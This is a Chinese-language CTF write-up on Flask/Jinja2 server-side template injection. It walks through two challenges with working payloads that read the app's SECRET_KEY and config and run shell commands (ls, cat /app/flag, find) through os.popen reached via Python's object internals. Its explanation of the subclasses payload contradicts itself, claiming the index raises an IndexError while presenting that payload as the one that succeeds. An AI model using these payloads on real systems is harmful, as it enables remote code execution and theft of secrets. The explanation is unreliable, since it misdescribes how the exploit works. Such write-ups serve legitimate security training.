何为SSTI模块注入?
SSTI即服务器端模板注入(Server-Side Template Injection),是一种注入漏洞。
服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。
常见的SSTI模块注入攻击有哪些
常见的SSTI模块注入攻击包括以下几种:
- 代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。
- 敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。
- 垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。
- DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。
题目环境
You need pass in a parameter named flag。
您需要传入一个名为flag的参数。
随便传参看看有何变化
?flag=1
?flag=flag.php
?flag=system(ls);
有点意思,不管输入什么,都会被"注释",不免让我有些惊愕。
接下来就步入正题吧
使用模板变量进行渗透
{{}}是模板变量的用法。在模板中,想要展示视图向模板渲染的变量,需要使用{{变量}}进行接收。
继续传参测试
?flag={{6*6}}
?flag={{6+6}}
爆出了部分信息
回到题目首页F12
You know, in the flask, We often set a secret_key variable.
你知道,在烧瓶里,我们经常设置一个秘密的钥匙…。
模板中的配置命令
在模板中,config通常指的是配置文件。这些文件包含了程序运行所需的设置和参数,使得程序可以根据配置文件的内容进行适应性调整。
那就到此为止吧
好好好,今天就依你,使用这把钥匙🔑来拿下flag
?flag={{config.SECRET_KEY}}
当然还有一个较为粗鲁的方法
直接查看所有配置**?flag={{config}}**
最后一种方法就颇为更加的规范?flag={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('echo $FLAG').read()}}
这里是对这段命令的解释
- ‘’.class:这部分获取了一个空字符串的类。
- .base:这部分获取了该类的基类,对于空字符串来说,它的基类是object。
- .subclasses():这部分返回了object类的所有直接子类。
- [127]:这部分试图访问子类列表的第128个元素(因为Python的索引是从0开始的),但这个索引超出了列表的长度,所以会抛出一个IndexError。
- .init:这部分试图访问某个类的初始化方法,但前面提到的子类列表访问是错误的,所以这一步也是错误的。
- .globals[‘popen’](‘echo $FLAG’).read():这部分首先尝试访问当前对象的全局符号表(字典),然后试图在其中查找popen键,并执行其对应的值(一个命令)。这个命令是echo $FLAG,它会输出环境变量FLAG的值。最后,.read()方法读取命令的输出。
这段代码的核心思想是通过复杂的对象模型和全局符号表来执行一个命令并读取其输出
拿下flag:flag{d3b917ea81211b45b392e2ce1ec2a1c5}
题目环境
照例查看配置信息**?flag={{config}}**
唉,我不免耸了耸肩,有些无奈,并未发现什么有用的
想必相比第一题便不是那般小打小闹了
至此,看来得认真对待了
使用模板注入照打一番?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}
对于这段命令,在第一题,我也是有所提及,相差不大
这里略作解释
python中popen函数主要是用来执行linux命令函数
使用使用之前需要导入os模块
这段命令是列出上一级的所有目录以及文件
先看app目录?flag={{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}
发现flag的存在
查flag内容?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
当让我们还可以使用Linux中find命令来查找flag的路径?flag={{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}}
接下来就照打不误了?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
拿下flag:flag{1f13963c42fa39b5aae92e25d1627851}